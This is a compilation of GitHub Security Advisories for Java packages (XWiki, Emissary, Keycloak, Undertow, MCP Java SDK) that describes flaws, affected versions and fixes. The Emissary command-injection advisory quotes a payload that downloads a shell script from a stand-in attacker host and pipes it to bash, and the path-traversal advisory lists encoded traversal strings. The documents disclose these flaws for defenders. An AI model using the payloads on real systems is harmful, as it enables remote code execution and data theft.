deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-h259-74h5-4rh9
Package: org.xwiki.platform:xwiki-platform-oldcore (MAVEN)
Severity: HIGH (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 17.5.0-rc-1, < 17.10.1
Patched in: 17.10.1

Summary: XWiki vulnerable to remote code execution with script right through unprotected Velocity scripting API

Details:
### Impact
An improperly protected scripting API allows any user with script right to bypass the sandboxing of the Velocity scripting API and execute, e.g., arbitrary Python scripts, allowing full access to the XWiki instance and thereby compromising the confidentiality, integrity and availability of the whole instance. Note that script right already constitutes a high level of access that we don't recommend giving to untrusted users.

### Patches
The vulnerability has been patched in XWiki 17.4.8 and 17.10.1 by requiring programming right to access the affected scripting API.

### Workarounds
We're not aware of any workarounds except for being careful whom you grant script right.

### Attribution
We thank Youssef Azefzaf for discovering and reporting this vulnerability.
GitHub Security Advisory: GHSA-h259-74h5-4rh9
Package: org.xwiki.platform:xwiki-platform-oldcore (MAVEN)
Severity: HIGH (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 17.0.0-rc-1, < 17.4.8
Patched in: 17.4.8

Summary: XWiki vulnerable to remote code execution with script right through unprotected Velocity scripting API

Details:
### Impact
An improperly protected scripting API allows any user with script right to bypass the sandboxing of the Velocity scripting API and execute, e.g., arbitrary Python scripts, allowing full access to the XWiki instance and thereby compromising the confidentiality, integrity and availability of the whole instance. Note that script right already constitutes a high level of access that we don't recommend giving to untrusted users.

### Patches
The vulnerability has been patched in XWiki 17.4.8 and 17.10.1 by requiring programming right to access the affected scripting API.

### Workarounds
We're not aware of any workarounds except for being careful whom you grant script right.

### Attribution
We thank Youssef Azefzaf for discovering and reporting this vulnerability.
GitHub Security Advisory: GHSA-hxf2-gm22-7vcm
Package: gov.nsa.emissary:emissary (MAVEN)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 8.39.0
Patched in: 8.39.0

Summary: Emissary has a Path Traversal via Blacklist Bypass in Configuration API

Details:
## Summary

The configuration API endpoint (`/api/configuration/{name}`) validated
configuration names using a blacklist approach that checked for `\`, `/`, `..`,
and trailing `.`. This could potentially be bypassed using URL-encoded variants,
double-encoding, or Unicode normalization to achieve path traversal and read
configuration files outside the intended directory.

## Details

### Vulnerable code — `Configs.java` (line 126)

```java
protected static String validate(String config) {
    if (StringUtils.isBlank(config) || config.contains("\\") || config.contains("/")
        || config.contains("..") || config.endsWith(".")) {
        throw new IllegalArgumentException("Invalid config name: " + config);
    }
    return Strings.CS.appendIfMissing(config.trim(), CONFIG_FILE_ENDING);
}
```

### Weakness

The blacklist blocked literal `\`, `/`, `..`, and trailing `.` but could
potentially miss:

- URL-encoded variants (`%2e%2e%2f`) if decoded after validation
- Double-encoded sequences (`%252e%252e%252f`)
- Unicode normalization bypasses
- The approach relies on string matching rather than canonical path resolution

### Impact

- Potential read access to configuration files outside the intended config
  directory
- Information disclosure of sensitive configuration values

## Remediation

Fixed in [PR #1292](https://github.com/NationalSecurityAgency/emissary/pull/1292),
merged into release 8.39.0.

The blacklist was replaced with an allowlist regex that only permits characters
matching `^[a-zA-Z0-9._-]+$`:

```java
protected static final Pattern VALID_CONFIG_NAME = Pattern.compile("^[a-zA-Z0-9._-]+$");

protected static String validate(String config) {
    if (!VALID_CONFIG_NAME.matcher(config).matches() || config.contains("..") || config.endsWith(".")) {
        throw new IllegalArgumentException("Invalid config name: " + config);
    }
    return Strings.CS.appendIfMissing(config.trim(), CONFIG_FILE_ENDING);
}
```

This ensures that any character outside the allowed set — including encoded
slashes, percent signs, and Unicode sequences — is rejected before the config
name reaches the filesystem.

Tests were added to verify that URL-encoded (`%2e%2e%2f`), double-encoded
(`%252e%252e%252f`), and Unicode (`U+002F`) traversal attempts are blocked.

## Workarounds

If upgrading is not immediately possible, deploy a reverse proxy or WAF rule
that rejects requests to `/api/configuration/` containing encoded path traversal
sequences.

## References

- [PR #1292 — validate config name with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1292)
- Original report: GHSA-wjqm-p579-x3ww
GitHub Security Advisory: GHSA-6c37-7w4p-jg9v
Package: gov.nsa.emissary:emissary (MAVEN)
Severity: HIGH (CVSS 7.2)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 8.39.0
Patched in: 8.39.0

Summary: Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Details:
## Summary

The `Executrix` utility class constructed shell commands by concatenating
configuration-derived values — including the `PLACE_NAME` parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through
into `/bin/sh -c` command execution.

## Details

### Vulnerable code — `Executrix.java`

**Insufficient sanitization (line 132):**
```java
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through
```

**Shell sink (line 1052–1058):**
```java
protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
```

### Data flow

1. `PLACE_NAME` is read from a configuration file
2. `Executrix` applies only a space-to-underscore replacement
3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)
4. `tmpNames[DIR]` is concatenated into a shell command string
5. The command is executed via `/bin/sh -c`

### Example payload

```
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
```

After the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`
(semicolons, pipes, and other metacharacters preserved)

### Impact

- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative
  access or a compromised configuration source)

## Remediation

Fixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),
merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all
characters not matching `[a-zA-Z0-9_-]`:

```java
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
```

This ensures that any shell metacharacter in the `PLACE_NAME` configuration
value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs,
backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

## Workarounds

If upgrading is not immediately possible, ensure that `PLACE_NAME` values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.

## References

- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)
- Original report: GHSA-wjqm-p579-x3ww
GitHub Security Advisory: GHSA-5v8v-xvjv-57x7
Package: org.keycloak:keycloak-services (MAVEN)
Severity: LOW (CVSS 3.7)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: <= 26.5.7
Patched in: unpatched

Summary: Keycloak vulnerable to information disclosure via CORS header injection due to unvalidated JWT azp claim

Details:
A flaw was found in Keycloak. A remote attacker can exploit a Cross-Origin Resource Sharing (CORS) header injection vulnerability in Keycloak's User-Managed Access (UMA) token endpoint. This flaw occurs because the `azp` claim from a client-supplied JSON Web Token (JWT) is used to set the `Access-Control-Allow-Origin` header before the JWT signature is validated. When a specially crafted JWT with an attacker-controlled `azp` value is processed, this value is reflected as the CORS origin, even if the grant is later rejected. This can lead to the exposure of low-sensitivity information from authorization server error responses, weakening origin isolation, but only when a target client is misconfigured with `webOrigins: ["*"]`.
GitHub Security Advisory: GHSA-8jxr-pr72-r468
Package: io.modelcontextprotocol.sdk:mcp-core (MAVEN)
Severity: HIGH (CVSS 0.0)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: < 1.0.0
Patched in: 1.0.0

Summary: Java-SDK has a DNS Rebinding Vulnerability

Details:
### Summary

The java-sdk contains a DNS rebinding vulnerability. This vulnerability allows an attacker to access a locally or network-private java-sdk MCP server via a victims browser that is either local, or network adjacent.

This allows an attacker to make any tool call to the server as if they were a locally running MCP connected AI agent.

### Details

Prior to 1.0.0 no Origin header validation was occurring, in violation of the MCP specification. [Base Protocol > Transports: 2.0.1 Security Warning](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning):

> 1: Servers MUST validate the Origin header on all incoming connections to prevent DNS rebinding attacks.

When the web server serving HTTP traffic to the MCP server does not perform standard CORS checks, a DNS rebinding attack is possible.

Some default server configurations and frameworks come with embedded `Origin` header validation. MCP servers built using those are not vulnerable to this issue. For example, the following are NOT vulnerable:
- Spring AI

### Impact

Any developer connecting to a malicious website can inadvertently allow an attacker to make tool calls to local or private-network MCP servers.

### Workarounds

Users can mitigate this risk by:
1. Running the MCP server behind a reverse proxy (like Nginx or HAProxy) configured to strictly validate the `Host` and `Origin` headers.
2. Using a framework that inherently enforces strict CORS and Origin validation (such as Spring AI).
GitHub Security Advisory: GHSA-h4wv-g838-66g3
Package: org.keycloak:keycloak-services (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-1050: Excessive Platform Resource Consumption within a Loop
Vulnerable versions: < 26.5.7
Patched in: 26.5.7

Summary: Keycloak: Application-Level DoS via Scope Processing

Details:
A flaw was found in Keycloak. An unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with an excessively long scope parameter to the OpenID Connect (OIDC) token endpoint. This leads to high resource consumption and prolonged processing times, ultimately resulting in a Denial of Service (DoS) for the Keycloak server.
GitHub Security Advisory: GHSA-f2hx-5fx3-hmcv
Package: org.keycloak:keycloak-services (MAVEN)
Severity: HIGH (CVSS 8.1)
CWE: CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
Vulnerable versions: < 26.5.7
Patched in: 26.5.7

Summary: Keycloak: UMA Policy Resource Injection Allows Unauthorized Cross-User Permission Grants

Details:
A flaw was found in Keycloak. An authenticated user with the uma_protection role can bypass User-Managed Access (UMA) policy validation. This allows the attacker to include resource identifiers owned by other users in a policy creation request, even if the URL path specifies an attacker-owned resource. Consequently, the attacker gains unauthorized permissions to victim-owned resources, enabling them to obtain a Requesting Party Token (RPT) and access sensitive information or perform unauthorized actions.
GitHub Security Advisory: GHSA-cjm2-j6cm-6p6m
Package: org.keycloak:keycloak-services (MAVEN)
Severity: HIGH (CVSS 7.3)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 26.5.7
Patched in: 26.5.7

Summary: Keycloak: Redirect URI validation bypass via ..;/ path traversal in OIDC auth endpoint

Details:
A flaw was found in Keycloak. This issue allows an attacker, who controls another path on the same web server, to bypass the allowed path in redirect Uniform Resource Identifiers (URIs) that use a wildcard. A successful attack may lead to the theft of an access token, resulting in information disclosure.
GitHub Security Advisory: GHSA-rx66-hj7g-28h7
Package: org.keycloak:keycloak-services (MAVEN)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-653: Improper Isolation or Compartmentalization
Vulnerable versions: < 26.5.7
Patched in: 26.5.7

Summary: Keycloak: Replay of action tokens via improper handling of single-use entries

Details:
A flaw was found in Keycloak. The SingleUseObjectProvider, a global key-value store, lacks proper type and namespace isolation. This vulnerability allows an attacker to delete arbitrary single-use entries, which can enable the replay of consumed action tokens, such as password reset links. This could lead to unauthorized access or account compromise.
GitHub Security Advisory: GHSA-hj93-h7pg-fh6v
Package: org.keycloak:keycloak-services (MAVEN)
Severity: HIGH (CVSS 7.4)
CWE: CWE-653: Improper Isolation or Compartmentalization
Vulnerable versions: < 26.5.7
Patched in: 26.5.7

Summary: Keycloak: Privilege escalation via forged authorization codes due to SingleUseObjectProvider isolation flaw

Details:
A flaw was found in Keycloak. The SingleUseObjectProvider, a global key-value store, lacks proper type and namespace isolation. This vulnerability allows an unauthenticated attacker to forge authorization codes. Successful exploitation can lead to the creation of admin-capable access tokens, resulting in privilege escalation.
GitHub Security Advisory: GHSA-vqqj-9cmv-hx43
Package: io.undertow:undertow-parent (MAVEN)
Severity: HIGH (CVSS 8.7)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 2.3.23.Final
Patched in: unpatched

Summary: Undertow is Vulnerable to HTTP Request/Response Smuggling

Details:
A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure.
GitHub Security Advisory: GHSA-8v4x-mgvp-p658
Package: io.undertow:undertow-parent (MAVEN)
Severity: HIGH (CVSS 8.7)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 2.3.23.Final
Patched in: unpatched

Summary: Undertow is Vulnerable to HTTP Request/Response Smuggling

Details:
A flaw was found in Undertow. This vulnerability allows a remote attacker to construct specially crafted requests where header names are parsed differently by Undertow compared to upstream proxies. This discrepancy in header interpretation can be exploited to launch request smuggling attacks, potentially bypassing security controls and accessing unauthorized resources.
GitHub Security Advisory: GHSA-3gv6-g396-9v4r
Package: io.undertow:undertow-parent (MAVEN)
Severity: HIGH (CVSS 8.7)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 2.3.23.Final
Patched in: unpatched

Summary: Undertow is Vulnerable to HTTP Request/Response Smuggling

Details:
A flaw was found in Undertow. A remote attacker can exploit this vulnerability by sending `\r\r\r` as a header block terminator. This can be used for request smuggling with certain proxy servers, such as older versions of Apache Traffic Server and Google Cloud Classic Application Load Balancer, potentially leading to unauthorized access or manipulation of web requests.
GitHub Security Advisory: GHSA-hv2w-8mjj-jw22
Package: io.modelcontextprotocol.sdk:mcp-core (MAVEN)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Vulnerable versions: = 1.1.0
Patched in: 1.1.1

Summary: MCP Java SDK has a Hardcoded Wildcard CORS (Access-Control-Allow-Origin: *)

Details:
### Summary

**Hardcoded Wildcard CORS (Access-Control-Allow-Origin: * )**

- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289
- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525

### Attack Scenario
An attacker-controlled web page instructs the victim's browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: * allows cross-origin SSE reads, the attacker's page receives the endpoint event — which contains the session ID. The attacker can then POST to that endpoint from their page using the victim's browser as a relay.

### Comparison with python-sdk
No Access-Control-Allow-Origin header is emitted by either Python transport. The browser's default same-origin policy remains in full effect.
https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py
https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py

### Recommendation
In the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.

### Resources

- https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin
GitHub Security Advisory: GHSA-hv2w-8mjj-jw22
Package: io.modelcontextprotocol.sdk:mcp-core (MAVEN)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Vulnerable versions: < 1.0.0
Patched in: 1.0.1

Summary: MCP Java SDK has a Hardcoded Wildcard CORS (Access-Control-Allow-Origin: *)

Details:
### Summary

**Hardcoded Wildcard CORS (Access-Control-Allow-Origin: * )**

- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletSseServerTransportProvider.java#L289
- https://github.com/modelcontextprotocol/java-sdk/blob/main/mcp-core/src/main/java/io/modelcontextprotocol/server/transport/HttpServletStreamableServerTransportProvider.java#L525

### Attack Scenario
An attacker-controlled web page instructs the victim's browser to open GET https://internal-mcp-server/sse. Because Access-Control-Allow-Origin: * allows cross-origin SSE reads, the attacker's page receives the endpoint event — which contains the session ID. The attacker can then POST to that endpoint from their page using the victim's browser as a relay.

### Comparison with python-sdk
No Access-Control-Allow-Origin header is emitted by either Python transport. The browser's default same-origin policy remains in full effect.
https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/sse.py
https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py

### Recommendation
In the SDK, the transport layer should not own CORS policy. Server implementors who need cross-origin access can add a CORS filter at the servlet filter or Spring Security layer.

### Resources

- https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html#access-control-allow-origin
GitHub Security Advisory: GHSA-q35r-vvhv-vx5h
Package: org.keycloak:keycloak-model-jpa (MAVEN)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: < 26.5.6
Patched in: 26.5.6

Summary: Keycloak: Missing Role Enforcement on UMA 2.0 Permission Ticket Endpoint Leads to Information Disclosure

Details:
A flaw was found in Keycloak. The User-Managed Access (UMA) 2.0 Protection API endpoint for permission tickets fails to enforce the `uma_protection` role check. This allows any authenticated user with a token issued for a resource server client, even without the `uma_protection` role, to enumerate all permission tickets in the system. This vulnerability partial leads to information disclosure.
GitHub Security Advisory: GHSA-q35r-vvhv-vx5h
Package: org.keycloak:keycloak-services (MAVEN)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: < 26.5.6
Patched in: 26.5.6

Summary: Keycloak: Missing Role Enforcement on UMA 2.0 Permission Ticket Endpoint Leads to Information Disclosure

Details:
A flaw was found in Keycloak. The User-Managed Access (UMA) 2.0 Protection API endpoint for permission tickets fails to enforce the `uma_protection` role check. This allows any authenticated user with a token issued for a resource server client, even without the `uma_protection` role, to enumerate all permission tickets in the system. This vulnerability partial leads to information disclosure.
GitHub Security Advisory: GHSA-q35r-vvhv-vx5h
Package: org.keycloak:keycloak-server-spi-private (MAVEN)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-280: Improper Handling of Insufficient Permissions or Privileges 
Vulnerable versions: < 26.5.6
Patched in: 26.5.6

Summary: Keycloak: Missing Role Enforcement on UMA 2.0 Permission Ticket Endpoint Leads to Information Disclosure

Details:
A flaw was found in Keycloak. The User-Managed Access (UMA) 2.0 Protection API endpoint for permission tickets fails to enforce the `uma_protection` role check. This allows any authenticated user with a token issued for a resource server client, even without the `uma_protection` role, to enumerate all permission tickets in the system. This vulnerability partial leads to information disclosure.
GitHub Security Advisory: GHSA-7xf9-4jfc-wgm4
Package: org.keycloak:keycloak-services (MAVEN)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: < 26.5.6
Patched in: 26.5.6

Summary: Keycloak: manage-clients permission escalates to full realm admin access

Details:
A flaw was found in Keycloak. An administrator with `manage-clients` permission can exploit a misconfiguration where this permission is equivalent to `manage-permissions`. This allows the administrator to escalate privileges and gain control over roles, users, or other administrative functions within the realm. This privilege escalation can occur when admin permissions are enabled at the realm level.